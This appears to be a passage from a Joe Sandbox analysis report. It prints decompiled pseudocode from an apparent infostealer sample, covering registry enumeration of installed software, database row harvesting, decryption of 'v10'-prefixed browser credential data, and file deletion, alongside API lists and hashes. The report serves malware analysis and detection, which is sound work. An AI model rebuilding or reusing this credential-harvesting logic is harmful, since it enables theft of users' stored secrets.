Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: 857a99269bea2190ef1d5ef6c68e25cbade465b3303be24ebff5005b65543a5f
Instruction ID: b2019dcf8292433c89953b96a3eab70520c34c161fc81907ed19fb7541bb8629
Opcode Fuzzy Hash: 857a99269bea2190ef1d5ef6c68e25cbade465b3303be24ebff5005b65543a5f
Instruction Fuzzy Hash: 5141ABB19001089BCB14DFA4DD46FDA7778AF48705F0085A9F709D7141DA75DEA0CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 0040B39D, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E0040B39D() {
				long _t36;
				char* _t66;
				intOrPtr _t73;
				char* _t76;
				void* _t81;

				L0:
				while(1) {
					L0:
					 *(_t81 - 0xc1c) =  *(_t81 - 0xc1c) + 1;
					if( *((intOrPtr*)(_t81 - 0x814)) != 0) {
						break;
					}
					L2:
					 *(_t81 - 0x818) = 0x400;
					 *((intOrPtr*)(_t81 - 0x814)) = RegEnumKeyExA( *(_t81 - 0x810),  *(_t81 - 0xc1c), _t81 - 0x408, _t81 - 0x818, 0, 0, 0, 0);
					if( *((intOrPtr*)(_t81 - 0x814)) != 0) {
						L11:
						continue;
					} else {
						L3:
						_push(_t81 - 0x408);
						_t73 =  *0x41a230; // 0x884bc0
						_push(_t73);
						wsprintfA(_t81 - 0x808, "%s\%s");
						if(RegOpenKeyExA(0x80000002, _t81 - 0x808, 0, 0x20019, _t81 - 0x80c) == 0) {
							L5:
							 *(_t81 - 0x818) = 0x400;
							_t76 =  *0x41a71c; // 0x89c338
							if(RegQueryValueExA( *(_t81 - 0x80c), _t76, 0, _t81 - 4, _t81 - 0xc18, _t81 - 0x818) == 0) {
								L6:
								_push(_t81 - 0xc18);
								if( *0x41a908() > 1) {
									L7:
									 *0x41aa24( *((intOrPtr*)(_t81 + 8)), _t81 - 0xc18);
									 *(_t81 - 0x818) = 0x400;
									_t66 =  *0x41a450; // 0x89c0b0
									if(RegQueryValueExA( *(_t81 - 0x80c), _t66, 0, _t81 - 4, _t81 - 0xc18, _t81 - 0x818) == 0) {
										 *0x41aa24( *((intOrPtr*)(_t81 + 8)), " ");
										 *0x41aa24( *((intOrPtr*)(_t81 + 8)), _t81 - 0xc18);
									}
									L9:
									 *0x41aa24( *((intOrPtr*)(_t81 + 8)), "\n");
								}
							}
							L10:
							RegCloseKey( *(_t81 - 0x80c));
							goto L11;
						} else {
							L4:
							RegCloseKey( *(_t81 - 0x80c));
							_t36 = RegCloseKey( *(_t81 - 0x810));
						}
					}
					L13:
					return _t36;
					L14:
				}
				L12:
				_t36 = RegCloseKey( *(_t81 - 0x810));
				goto L13;
			}

0x0040b39d
0x0040b39d
0x0040b39d
0x0040b3a6
0x0040b3b3
0x00000000
0x00000000
0x0040b3b9
0x0040b3b9
0x0040b3ed
0x0040b3fa
0x0040b535
0x00000000
0x0040b400
0x0040b400
0x0040b406
0x0040b407
0x0040b40d
0x0040b41a
0x0040b445
0x0040b466
0x0040b466
0x0040b484
0x0040b49a
0x0040b4a0
0x0040b4a6
0x0040b4b0
0x0040b4b2
0x0040b4bd
0x0040b4c3
0x0040b4e1
0x0040b4f7
0x0040b502
0x0040b513
0x0040b513
0x0040b519
0x0040b522
0x0040b522
0x0040b4b0
0x0040b528
0x0040b52f
0x00000000
0x0040b447
0x0040b447
0x0040b44e
0x0040b45b
0x0040b45b
0x0040b445
0x0040b547
0x0040b54a
0x00000000
0x0040b54a
0x0040b53a
0x0040b541
0x00000000

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 0040B3E7
wsprintfA.USER32 ref: 0040B41A
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,00000000), ref: 0040B43D
RegCloseKey.ADVAPI32(00000000), ref: 0040B44E
RegCloseKey.ADVAPI32(00000000), ref: 0040B45B
RegQueryValueExA.ADVAPI32(00000000,0089C338,00000000,000F003F,?,00000400), ref: 0040B492
lstrlen.KERNEL32(?), ref: 0040B4A7
lstrcat.KERNEL32(?,?), ref: 0040B4BD
RegQueryValueExA.ADVAPI32(00000000,0089C0B0,00000000,000F003F,?,00000400), ref: 0040B4EF
lstrcat.KERNEL32(?,00419238), ref: 0040B502
lstrcat.KERNEL32(?,?), ref: 0040B513
lstrcat.KERNEL32(?,00418BC4), ref: 0040B522
RegCloseKey.ADVAPI32(00000000), ref: 0040B52F
RegCloseKey.ADVAPI32(00000000), ref: 0040B541

Strings

%s\%s, xrefs: 0040B40E

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: Closelstrcat$QueryValue$EnumOpenlstrlenwsprintf
String ID: %s\%s
API String ID: 199769609-4073750446
Opcode ID: a4012638aad7033c914fdd1a0f1ca3e258b17949767a5016186a6d4b83d2670b
Instruction ID: 9546bb00d88ab29d98338f3d9e51bb631a883dd56483db4c703a054c40f4693a
Opcode Fuzzy Hash: a4012638aad7033c914fdd1a0f1ca3e258b17949767a5016186a6d4b83d2670b
Instruction Fuzzy Hash: 86110DB1901218ABDB20CB50DD45FE9B3B8FB48704F00C5E9A249A6181DB745AD6CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00405DE0, Relevance: 10.5, APIs: 7, Instructions: 25
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405DE0() {
				CHAR* _t1;
				CHAR* _t5;
				CHAR* _t9;
				CHAR* _t11;
				CHAR* _t12;
				CHAR* _t13;
				CHAR* _t14;

				_t1 =  *0x41a6a4; // 0x899c48
				DeleteFileA(_t1);
				_t11 =  *0x41a2f0; // 0x899c70
				DeleteFileA(_t11);
				_t13 =  *0x41a650; // 0x899ce8
				DeleteFileA(_t13);
				_t5 =  *0x41a220; // 0x899ab8
				DeleteFileA(_t5);
				_t12 =  *0x41a6cc; // 0x885970
				DeleteFileA(_t12);
				_t14 =  *0x41a4a8; // 0x899c98
				DeleteFileA(_t14);
				_t9 =  *0x41a700; // 0x899b08
				return DeleteFileA(_t9);
			}

0x00405de3
0x00405de9
0x00405def
0x00405df6
0x00405dfc
0x00405e03
0x00405e09
0x00405e0f
0x00405e15
0x00405e1c
0x00405e22
0x00405e29
0x00405e2f
0x00405e3c

APIs

DeleteFileA.KERNEL32(00899C48,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405DE9
DeleteFileA.KERNEL32(00899C70,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405DF6
DeleteFileA.KERNEL32(00899CE8,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E03
DeleteFileA.KERNEL32(00899AB8,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E0F
DeleteFileA.KERNEL32(00885970,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E1C
DeleteFileA.KERNEL32(00899C98,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E29
DeleteFileA.KERNEL32(00899B08,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E35

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction ID: 53f7d35bc311ab0ea18b8a2534d9d90475545ede5d55a6c2cac6028fe6962c5d
Opcode Fuzzy Hash: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction Fuzzy Hash: D7F014F95232009BC7049BA4ED4C8A637A9B7CC621305C928B50683225CB39E5608B7B

Uniqueness

Uniqueness Score: -1.00%

Function 00409590, Relevance: 9.1, APIs: 6, Instructions: 94
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00409590(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				char _v276;
				intOrPtr _v280;
				char _v284;
				char _v288;
				intOrPtr _v292;
				CHAR* _t27;
				void* _t30;
				void* _t32;
				void* _t38;
				intOrPtr _t44;
				intOrPtr _t58;
				void* _t64;
				void* _t66;
				void* _t67;
				void* _t70;

				E0040B720( &_v276, 0x104);
				_t27 =  *0x41a07c; // 0x89b638
				wsprintfA( &_v276, _t27, _a12, _a8);
				_t58 =  *0x41a294; // 0x899a18
				_v280 = _t58;
				_t30 =  *0x41a830(_a4,  &_v8);
				_t66 = _t64 + 0x18;
				if(_t30 == 0) {
					_t32 =  *0x41a7e8(_v8, _v280, 0xffffffff,  &_v284, 0);
					_t67 = _t66 + 0x14;
					if(_t32 != 0) {
						L6:
						 *0x41a808(_v284);
						return  *0x41a834(_v8);
					}
					_v288 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t38 =  *0x41a804(_v284);
						_t70 = _t67 + 4;
						if(_t38 != 0x64) {
							break;
						}
						_t44 =  *0x41a820(_v284, 0);
						_t67 = _t70 + 8;
						_v292 = _t44;
						 *0x41aa24(_v288, _v292);
						 *0x41aa24(_v288, "\n");
					}
					E004137E0(_a16,  &_v276, _v288,  *0x41a908(_v288));
					_t67 = _t70 + 0x10;
					E0040B720( &_v288, 4);
					goto L6;
				}
				return _t30;
			}

0x004095a5
0x004095b2
0x004095bf
0x004095c8
0x004095ce
0x004095dc
0x004095e2
0x004095e7
0x00409603
0x00409609
0x0040960e
0x004096b9
0x004096c0
0x00000000
0x004096d3
0x00409628
0x0040962e
0x00409635
0x0040963b
0x00409641
0x00000000
0x00000000
0x0040964c
0x00409652
0x00409655
0x00409669
0x0040967b
0x0040967b
0x004096a3
0x004096a8
0x004096b4
0x00000000
0x004096b4
0x004096d9

APIs

wsprintfA.USER32 ref: 004095BF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040961B
RtlAllocateHeap.NTDLL(00000000), ref: 00409622
lstrcat.KERNEL32(?,?), ref: 00409669
lstrcat.KERNEL32(?,00418BC4), ref: 0040967B
lstrlen.KERNEL32(?), ref: 0040968A

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: 118ae59d0f25a22a12b371e08b370f69fa651aeb9a5a1d3569fc809063f8c249
Instruction ID: 0f4305f0ea4e8f12541be8dfce34b0e085d7d14125619b5af487afca8afb3160
Opcode Fuzzy Hash: 118ae59d0f25a22a12b371e08b370f69fa651aeb9a5a1d3569fc809063f8c249
Instruction Fuzzy Hash: 263186B1900108ABCB14DFA4DD46FDA73B8AF4C704F0085A9F70997281D635DEA1CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00408510, Relevance: 9.1, APIs: 6, Instructions: 92
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00408510(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v8;
				char _v276;
				char _v280;
				char _v284;
				intOrPtr _v288;
				CHAR* _t25;
				void* _t28;
				void* _t30;
				void* _t36;
				intOrPtr _t42;
				intOrPtr _t56;
				void* _t61;
				void* _t63;
				void* _t64;
				void* _t67;

				E0040B720( &_v276, 0x104);
				_t25 =  *0x41a07c; // 0x89b638
				wsprintfA( &_v276, _t25, _a12, _a8);
				_t28 =  *0x41a830(_a4,  &_v8);
				_t63 = _t61 + 0x18;
				if(_t28 == 0) {
					_t56 =  *0x41a430; // 0x89b6d8
					_t30 =  *0x41a7e8(_v8, _t56, 0xffffffff,  &_v280, 0);
					_t64 = _t63 + 0x14;
					if(_t30 != 0) {
						L6:
						 *0x41a808(_v280);
						return  *0x41a834(_v8);
					}
					_v284 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t36 =  *0x41a804(_v280);
						_t67 = _t64 + 4;
						if(_t36 != 0x64) {
							break;
						}
						_t42 =  *0x41a820(_v280, 0);
						_t64 = _t67 + 8;
						_v288 = _t42;
						 *0x41aa24(_v284, _v288);
						 *0x41aa24(_v284, "\n");
					}
					E004137E0(_a24,  &_v276, _v284,  *0x41a908(_v284));
					_t64 = _t67 + 0x10;
					E0040B720( &_v284, 4);
					goto L6;
				}
				return _t28;
			}

0x00408525
0x00408532
0x0040853f
0x00408550
0x00408556
0x0040855b
0x0040856c
0x00408577
0x0040857d
0x00408582
0x0040862d
0x00408634
0x00000000
0x00408647
0x0040859c
0x004085a2
0x004085a9
0x004085af
0x004085b5
0x00000000
0x00000000
0x004085c0
0x004085c6
0x004085c9
0x004085dd
0x004085ef
0x004085ef
0x00408617
0x0040861c
0x00408628
0x00000000
0x00408628
0x0040864d

APIs

wsprintfA.USER32 ref: 0040853F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040858F
RtlAllocateHeap.NTDLL(00000000), ref: 00408596
lstrcat.KERNEL32(?,?), ref: 004085DD
lstrcat.KERNEL32(?,00418BC4), ref: 004085EF
lstrlen.KERNEL32(?), ref: 004085FE

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: d86f877f6af101afd853e83cc45e0c7f259d9c1cd7a3b3c2d6ea3d455249c9be
Instruction ID: 16a89e7602ce9a9af0cb90aa00b31cd04fc627f3dd9fe4cd639e4c9769f6db21
Opcode Fuzzy Hash: d86f877f6af101afd853e83cc45e0c7f259d9c1cd7a3b3c2d6ea3d455249c9be
Instruction Fuzzy Hash: 0F3198B1900108ABCB14EFA4DD46EDA7378AF48705F0085A8F719D7191DA35DAA1CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00407380, Relevance: 9.1, APIs: 6, Instructions: 77
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00407380(CHAR* _a4, void** _a8, long* _a12) {
				struct _OVERLAPPED* _v8;
				long _v12;
				void* _v16;
				intOrPtr _v24;
				long _v28;
				long _v32;

				_v8 = 0;
				_v16 = 0;
				_v16 = CreateFileA(_a4, 0x80000000, 1, 0, 3, 0, 0);
				if(_v16 == 0 || _v16 == 0xffffffff) {
					L12:
					return _v8;
				} else {
					_push( &_v28);
					_push(_v16);
					if( *0x41a868() != 0 && _v24 == 0) {
						 *_a12 = _v28;
						 *_a8 = LocalAlloc(0x40,  *_a12);
						if( *_a8 != 0) {
							if(ReadFile(_v16,  *_a8,  *_a12,  &_v12, 0) == 0 ||  *_a12 != _v12) {
								_v32 = 0;
							} else {
								_v32 = 1;
							}
							_v8 = _v32;
							if(_v8 == 0) {
								LocalFree( *_a8);
							}
						}
					}
					CloseHandle(_v16);
					goto L12;
				}
			}

0x00407386
0x0040738d
0x004073ad
0x004073b4
0x0040745b
0x00407461
0x004073c4
0x004073c7
0x004073cb
0x004073d4
0x004073e2
0x004073f5
0x004073fd
0x0040741d
0x00407432
0x00407429
0x00407429
0x00407429
0x0040743c
0x00407443
0x0040744b
0x0040744b
0x00407443
0x004073fd
0x00407455
0x00000000
0x00407455

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,004076B0,00000000,?), ref: 004073A7
GetFileSizeEx.KERNEL32(000000FF,004076B0,?,004076B0,00000000,?), ref: 004073CC
LocalAlloc.KERNEL32(00000040,?,?,004076B0), ref: 004073EC
ReadFile.KERNEL32(000000FF,?,000000FF,?,00000000,?,004076B0), ref: 00407415
LocalFree.KERNEL32(?), ref: 0040744B
CloseHandle.KERNEL32(000000FF,?,004076B0,00000000,?), ref: 00407455

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction ID: af94470c476782e88e9ea84d45e590fd848c7c035798b2791f751b67d2b5900f
Opcode Fuzzy Hash: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction Fuzzy Hash: 1A31DBB4A04209EFDB14DF94C888BAEBBB5FF48310F108169E915AB3D0C778AA55CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACE0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ACE0() {
				struct _SYSTEMTIME _v20;
				void* _v24;

				_v24 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				GetLocalTime( &_v20);
				wsprintfA(_v24, "%d/%d/%d %d:%d:%d", _v20.wDay & 0x0000ffff, _v20.wMonth & 0x0000ffff, _v20.wYear & 0x0000ffff, _v20.wHour & 0x0000ffff, _v20.wMinute & 0x0000ffff, _v20.wSecond & 0x0000ffff);
				return _v24;
			}

0x0040acfa
0x0040ad01
0x0040ad2e
0x0040ad3d

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040ACED
RtlAllocateHeap.NTDLL(00000000), ref: 0040ACF4
GetLocalTime.KERNEL32(?,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040AD01
wsprintfA.USER32 ref: 0040AD2E

Strings

%d/%d/%d %d:%d:%d, xrefs: 0040AD25

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID: %d/%d/%d %d:%d:%d
API String ID: 377395780-1073349071
Opcode ID: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction ID: d54db4264a189618d18ac0c6d63712439e5e5702a0e8137862d75125f6334758
Opcode Fuzzy Hash: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction Fuzzy Hash: 2FF06DB5800118BBCB10DBE99D489FFB3B8BF0CB02F00415AFA41A1180E6388A90D776

Uniqueness

Uniqueness Score: -1.00%

Function 00404970, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
stringnetworkCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E00404970(void* __ecx, void* __eflags, char* _a4) {
				intOrPtr _v56;
				char* _v60;
				char _v64;
				char _v132;

				E0040B720( &_v132, 0x40);
				E0040B720( &_v64, 0x3c);
				_v64 = 0x3c;
				_v60 =  &_v132;
				_v56 = 0x40;
				_push( &_v64);
				if(InternetCrackUrlA(_a4,  *0x41a908(), _a4, 0x10000000) == 0) {
					return 0x418b7c;
				}
				return _v60;
			}

0x0040497f
0x0040498a
0x0040498f
0x00404999
0x0040499c
0x004049a6
0x004049c3
0x00000000
0x004049cc
0x00000000

APIs

lstrlen.KERNEL32(?,10000000,0000003C,?,0000003C,?,00000040), ref: 004049B0
InternetCrackUrlA.WININET(?,00000000), ref: 004049BB

Strings

<, xrefs: 0040498F
http, xrefs: 004049CC
@, xrefs: 0040499C

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: CrackInternetlstrlen
String ID: <$@$http
API String ID: 1274457161-26727890
Opcode ID: 953279faeda4fbfed10a865a9ed3943784a545a7601c943f1e9572a566367c12
Instruction ID: e6804194f0461931acba1e2b3008128b19c1605eb91d96f529587f083f9a09b0
Opcode Fuzzy Hash: 953279faeda4fbfed10a865a9ed3943784a545a7601c943f1e9572a566367c12
Instruction Fuzzy Hash: 84F012F590020CABDB04DFA5E885FEE7B7CEB44344F008529FA04AB190DB78A5448B99

Uniqueness

Uniqueness Score: -1.00%

Function 00411B30, Relevance: 7.7, APIs: 5, Instructions: 156
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411B30(intOrPtr __ecx, signed int _a4, long _a8, intOrPtr _a12) {
				long _v8;
				void* _v12;
				signed int _v16;
				long _v20;
				intOrPtr _v24;
				intOrPtr _t90;
				intOrPtr _t112;
				intOrPtr _t136;
				intOrPtr _t141;

				_v24 = __ecx;
				if( *(_v24 + 4) != 0 ||  *(_v24 + 0xc) != 0 ||  *((intOrPtr*)(_v24 + 0x20)) != 0 ||  *((intOrPtr*)(_v24 + 0x18)) != 0 ||  *((intOrPtr*)(_v24 + 0x14)) != 0 || ( *(_v24 + 0x2c) & 0x000000ff) != 0) {
					return 0x1000000;
				} else {
					__eflags = _a12 - 1;
					if(_a12 != 1) {
						__eflags = _a12 - 2;
						if(__eflags != 0) {
							__eflags = _a12 - 3;
							if(_a12 != 3) {
								return 0x10000;
							}
							_v20 = _a8;
							__eflags = _v20;
							if(_v20 != 0) {
								__eflags = _a4;
								if(_a4 == 0) {
									 *(_v24 + 0xc) = CreateFileMappingW(0xffffffff, 0, 4, 0, _v20, 0);
									_t90 = _v24;
									__eflags =  *(_t90 + 0xc);
									if( *(_t90 + 0xc) != 0) {
										 *((intOrPtr*)(_v24 + 0x20)) = MapViewOfFile( *(_v24 + 0xc), 0xf001f, 0, 0, _v20);
										_t136 = _v24;
										__eflags =  *(_t136 + 0x20);
										if( *(_t136 + 0x20) != 0) {
											L25:
											 *((char*)(_v24 + 0x1c)) = 1;
											 *(_v24 + 0x24) = 0;
											 *(_v24 + 0x28) = _v20;
											return 0;
										}
										CloseHandle( *(_v24 + 0xc));
										 *(_v24 + 0xc) = 0;
										return 0x300;
									}
									return 0x300;
								}
								 *((intOrPtr*)(_v24 + 0x20)) = _a4;
								goto L25;
							}
							return 0x30000;
						}
						_v16 = _a4;
						 *(_v24 + 4) = CreateFileW(E0040B5C0(__eflags, _v16), 0x40000000, 0, 0, 2, 0x80, 0);
						_t141 = _v24;
						__eflags =  *((intOrPtr*)(_t141 + 4)) - 0xffffffff;
						if( *((intOrPtr*)(_t141 + 4)) != 0xffffffff) {
							 *((char*)(_v24 + 0x1c)) = 1;
							 *(_v24 + 0x10) = 0;
							 *((char*)(_v24 + 8)) = 1;
							return 0;
						}
						 *(_v24 + 4) = 0;
						return 0x200;
					}
					_v12 = _a4;
					 *(_v24 + 4) = _v12;
					 *((char*)(_v24 + 8)) = 0;
					_v8 = SetFilePointer( *(_v24 + 4), 0, 0, 1);
					__eflags = _v8 - 0xffffffff;
					 *((char*)(_v24 + 0x1c)) = 0 | _v8 != 0xffffffff;
					_t112 = _v24;
					__eflags =  *(_t112 + 0x1c) & 0x000000ff;
					if(( *(_t112 + 0x1c) & 0x000000ff) == 0) {
						 *(_v24 + 0x10) = 0;
					} else {
						 *(_v24 + 0x10) = _v8;
					}
					return 0;
				}
			}

0x00411b36
0x00411b40
0x00000000
0x00411b7b
0x00411b7b
0x00411b7f
0x00411be8
0x00411bec
0x00411c60
0x00411c64
0x00000000
0x00411d22
0x00411c6d
0x00411c70
0x00411c74
0x00411c80
0x00411c84
0x00411ca8
0x00411cab
0x00411cae
0x00411cb2
0x00411cd8
0x00411cdb
0x00411cde
0x00411ce2
0x00411d02
0x00411d05
0x00411d0c
0x00411d19
0x00000000
0x00411d1c
0x00411ceb
0x00411cf4
0x00000000
0x00411cfb
0x00000000
0x00411cb4
0x00411c8c
0x00000000
0x00411c8c
0x00000000
0x00411c76
0x00411bf1
0x00411c1c
0x00411c1f
0x00411c22
0x00411c26
0x00411c3f
0x00411c46
0x00411c50
0x00000000
0x00411c54
0x00411c2b
0x00000000
0x00411c32
0x00411b84
0x00411b8d
0x00411b93
0x00411baa
0x00411baf
0x00411bb9
0x00411bbc
0x00411bc3
0x00411bc5
0x00411bd5
0x00411bc7
0x00411bcd
0x00411bcd
0x00000000
0x00411bdc

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 00411BA4

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 9f40ca25f5a3ec3b26c5a317c37b390bac11bb664fe97661c3bbb8a15347b8b4
Instruction ID: 4806281024cf892df001f217e22b508f46e279854f8b30cdef803a4c5b02db50
Opcode Fuzzy Hash: 9f40ca25f5a3ec3b26c5a317c37b390bac11bb664fe97661c3bbb8a15347b8b4
Instruction Fuzzy Hash: 49611BB4A0020ADFEB14CF54D585BAEB7B1BB04315F208259E9156B3D1D378EE81CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00407230, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 104
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 24%

			E00407230(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				void _v76;
				long _v80;
				void* _v84;
				int _v88;
				char _v5092;
				void* _t58;
				void* _t94;

				E004139B0(0x13e0, __ecx);
				if(_a8 < 3) {
					L10:
					return E00407190(_a4, _a8);
				}
				asm("repe cmpsb");
				if(0 != 0) {
					goto L10;
				}
				if(((0 | _a12 != 0x00000000) & (0 | _a16 != 0x00000000)) == 0) {
					return 0x4191a0;
				}
				memset( &_v76, 0, 0x40);
				_v76 = 0x40;
				_v72 = 1;
				_v68 = _a4 + 3;
				_v64 = 0xc;
				_v52 = _v68 + _a8 - 0x13;
				_v48 = 0x10;
				_v80 = _a8 - 3 - _v64 - _v48;
				_t58 = LocalAlloc(0x40, _v80);
				_v84 = _t58;
				if(_v84 == 0) {
					return _t58;
				}
				_v88 = 0;
				_v8 =  *0x41aa60(_a16, _v68 + _v64, _v80,  &_v76, 0, 0, _v84, _v80,  &_v88, 0);
				if(_v8 < 0) {
					return 0x4191a0;
				}
				E0040B720( &_v5092, 0x1388);
				 *0x41aa24( &_v5092, _v84);
				 *((char*)(_t94 + _v88 - 0x13e0)) = 0;
				return  &_v5092;
			}

0x00407238
0x00407243
0x00407364
0x00000000
0x00407371
0x00407258
0x0040725a
0x00000000
0x00000000
0x00407274
0x00000000
0x0040735b
0x00407282
0x0040728a
0x00407291
0x0040729e
0x004072a1
0x004072b2
0x004072b5
0x004072c8
0x004072d1
0x004072d7
0x004072de
0x00000000
0x00407359
0x004072e0
0x00407312
0x00407319
0x00000000
0x00407352
0x00407327
0x00407337
0x00407340
0x00000000

APIs

memset.MSVCRT ref: 00407282
LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
lstrcat.KERNEL32(?,00000000), ref: 00407337

Strings

v10, xrefs: 0040724E
@, xrefs: 0040728A

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: AllocLocallstrcatmemset
String ID: @$v10
API String ID: 4123878530-24753345
Opcode ID: 1d3fa7b3dbb26fb9b049f7610d81cb1348bb2620b3692f3626651eae948cc07e
Instruction ID: 61f64e7557948a46b50732eb2c11968d7e6d1a4f1abee3a4cf4d88c7128a29d2
Opcode Fuzzy Hash: 1d3fa7b3dbb26fb9b049f7610d81cb1348bb2620b3692f3626651eae948cc07e
Instruction Fuzzy Hash: D24150B1E04208EBEB14CFD4D884BDEB7B4FF48344F048169F905AB284D778AA45DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040B5C0, Relevance: 7.6, APIs: 5, Instructions: 50
stringCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E0040B5C0(void* __eflags, char* _a4) {
				int _v8;
				int _v12;
